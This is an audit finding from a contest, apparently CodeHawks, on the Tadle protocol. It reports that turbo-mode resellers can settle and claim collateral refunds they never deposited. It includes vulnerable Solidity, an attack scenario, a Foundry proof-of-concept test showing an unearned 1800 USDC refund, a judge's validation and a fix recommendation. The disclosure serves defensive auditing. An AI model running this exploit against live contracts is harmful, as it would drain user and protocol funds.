Tadle

Tadle
DeFiFoundry
27,750 USDC
View results
Submission Details
Severity: high
Valid

settleAskMaker Function Allows Turbo Mode Sellers to Settle and Refund Without Collateral

This is assuming the vulnerability mentioned with title is fixed:

Title: Incorrect Authorization Logic in settleAskTaker Function

Link: https://codehawks.cyfrin.io/c/2024-08-tadle/s/clzqqzg79000712ra6bf6pb95

Summary

The settleAskMaker function in DeliveryPlace contract has a critical issue where it inappropriately allows sellers operating in turbo mode to settle their offers and receive refunds, even when they have relisted their offer without any collateral. Turbo mode sellers, who do not post collateral, should not be allowed to settle and receive refunds in the same way as regular sellers. In turbomode, settlement needs to be done by original maker.

Vulnerability Details

The settleAskMaker function does not distinguish between regular sellers and those operating in turbo mode. This allows turbo mode sellers, who relisted their offers without collateral, to settle their offers and receive refunds. This behavior is incorrect because turbo mode is designed to operate without collateral, and these sellers should not be able to settle in the same manner as collateralized offers.

https://github.com/Cyfrin/2024-08-tadle/blob/main/src/core/DeliveryPlace.sol#L276-L307

uint256 makerRefundAmount;
if (_settledPoints == offerInfo.usedPoints) {
if (offerInfo.offerStatus == OfferStatus.Virgin) {
makerRefundAmount = OfferLibraries.getDepositAmount(
offerInfo.offerType,
offerInfo.collateralRate,
offerInfo.amount,
true,
Math.Rounding.Floor
);
} else {
uint256 usedAmount = offerInfo.amount.mulDiv(
offerInfo.usedPoints,
offerInfo.points,
Math.Rounding.Floor
);
makerRefundAmount = OfferLibraries.getDepositAmount(
offerInfo.offerType,
offerInfo.collateralRate,
usedAmount,
true,
Math.Rounding.Floor
);
}
tokenManager.addTokenBalance(
TokenBalanceType.SalesRevenue,
_msgSender(),
makerInfo.tokenAddress,
makerRefundAmount
);
}

Scenario based POC:

  • Maker M1creates ASKoffer to sell 1000 points for 1000 USDCin Turbo modewith some collateral 120% collateral rate.

  • Taker T1buys 1000 points for 1000 USDC from M1.

  • Taker T1lists the offer for the stock he bought. He listed 1000 points for 1500 USDCwithout any collateral.

  • Taker T2buys 1000 points for 1500 USDCfrom T1's listed offer.

  • Ownerof marketplace updates the status to AskSettlingsetting tgetime and tokenPerPoint as 1.

  • Taker T2calls settleAskMakerand gets 1500 USDCagain which he hasn't even deposited.

Code POC:

setUpfunction is also updated for a bit of clarity

Check the emitted log in the POC.

_makerRefundAmountis 1800 USDCwhich is added to taker T2balance. 1800 USDC = 1500 * 120% collateral rate

function setUp() public {
// deploy mocks
weth9 = new WETH9();
TadleFactory tadleFactory = new TadleFactory(owner);
mockUSDCToken = new MockERC20Token();
mockPointToken = new MockERC20Token();
SystemConfig systemConfigLogic = new SystemConfig();
CapitalPool capitalPoolLogic = new CapitalPool();
TokenManager tokenManagerLogic = new TokenManager();
PreMarktes preMarktesLogic = new PreMarktes();
DeliveryPlace deliveryPlaceLogic = new DeliveryPlace();
bytes memory deploy_data = abi.encodeWithSelector(
INITIALIZE_OWNERSHIP_SELECTOR,
owner
);
vm.startPrank(owner);
address systemConfigProxy = tadleFactory.deployUpgradeableProxy(
1,
address(systemConfigLogic),
bytes(deploy_data)
);
address preMarktesProxy = tadleFactory.deployUpgradeableProxy(
2,
address(preMarktesLogic),
bytes(deploy_data)
);
address deliveryPlaceProxy = tadleFactory.deployUpgradeableProxy(
3,
address(deliveryPlaceLogic),
bytes(deploy_data)
);
address capitalPoolProxy = tadleFactory.deployUpgradeableProxy(
4,
address(capitalPoolLogic),
bytes(deploy_data)
);
address tokenManagerProxy = tadleFactory.deployUpgradeableProxy(
5,
address(tokenManagerLogic),
bytes(deploy_data)
);
vm.stopPrank();
// attach logic
systemConfig = SystemConfig(systemConfigProxy);
capitalPool = CapitalPool(capitalPoolProxy);
tokenManager = TokenManager(tokenManagerProxy);
preMarktes = PreMarktes(preMarktesProxy);
deliveryPlace = DeliveryPlace(deliveryPlaceProxy);
vm.startPrank(owner);
// initialize
systemConfig.initialize(basePlatformFeeRate, baseReferralRate);
tokenManager.initialize(address(weth9));
address[] memory tokenAddressList = new address[](2);
tokenAddressList[0] = address(mockUSDCToken);
tokenAddressList[1] = address(weth9);
tokenManager.updateTokenWhiteListed(tokenAddressList, true);
// create market place
systemConfig.createMarketPlace("Backpack", false);
vm.stopPrank();
deal(address(mockUSDCToken), user, 100000000 * 10 ** 18);
deal(address(mockPointToken), user, 100000000 * 10 ** 18);
deal(user, 100000000 * 10 ** 18);
deal(address(mockUSDCToken), user1, 100000000 * 10 ** 18);
deal(address(mockUSDCToken), user2, 100000000 * 10 ** 18);
deal(address(mockUSDCToken), user3, 100000000 * 10 ** 18);
deal(address(mockPointToken), user2, 100000000 * 10 ** 18);
marketPlace = GenerateAddress.generateMarketPlaceAddress("Backpack");
vm.warp(1719826275);
vm.prank(user);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
vm.startPrank(user1);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
mockPointToken.approve(address(tokenManager), type(uint256).max);
vm.stopPrank();
vm.startPrank(user2);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
mockPointToken.approve(address(tokenManager), type(uint256).max);
vm.stopPrank();
vm.startPrank(user3);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
mockPointToken.approve(address(tokenManager), type(uint256).max);
vm.stopPrank();
}
function test_ask_offer_turbo_usdc() public {
vm.prank(user1);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000, // points to sell
1000e6, // amount
12000, // collateral rate of 120%
0, // tradeTax
OfferType.Ask,
OfferSettleType.Turbo
)
);
address offerAddr = GenerateAddress.generateOfferAddress(0);
vm.prank(user2);
preMarktes.createTaker(offerAddr, 1000);
address stock1Addr = GenerateAddress.generateStockAddress(1);
vm.prank(user2);
preMarktes.listOffer(stock1Addr, 1500e6, 12000); // listed it for 1500 USDC without any collateral
address offer1Addr = GenerateAddress.generateOfferAddress(1);
vm.prank(user3);
preMarktes.createTaker(offer1Addr, 1000);
vm.startPrank(owner);
systemConfig.updateMarket(
"Backpack",
address(mockPointToken),
1e6,
block.timestamp - 1,
3600
);
vm.startPrank(user2);
mockPointToken.approve(address(tokenManager), 10000 * 10 ** 18);
deliveryPlace.settleAskMaker(offer1Addr, 1000);
// LOG EMITTED: emit SettleAskMaker(_marketPlace: 0xE6b1c25C9BAC2B628d6E2d231F9B53b92172fC2D, _maker: 0x6a6E1BCA653147228386D44b6B93bE715c9f4497,
// _offer: 0xec19aCA7DE739Aeff3d1924151F084bF67920a9a, _authority: 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, _settledPoints: 1000,
// _settledPointTokenAmount: 1000000000 [1e9], _makerRefundAmount: 1800000000 [1.8e9])
vm.stopPrank();
}

Impact

Loss of funds for the protocol as user who hasn't supplied any collateral can claim full collateral from the protocol.

Tools Used

Manual review, foundry POC

Recommendations

Implement additional logic to detect whether the seller is operating in turbo mode. If the seller is in turbo mode and has relisted the offer without collateral, they should be prevented from settling the offer and receiving a refund.

Updates

Lead Judging Commences

0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-Premarkets-listOffer-turbo-settleAskMaker-exploit-settlement

Valid high severity, this allows resellers listing offers via `listOffer/relistOffer` to game the system. Based on the inherent design of Turbo mode not requiring takers making ask offers for the original maker offer to deposit collateral, the wrong refund of collateral to takers even when they did not deposit collateral due to turbo mode during settleAskMaker allows possible draining of pools.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.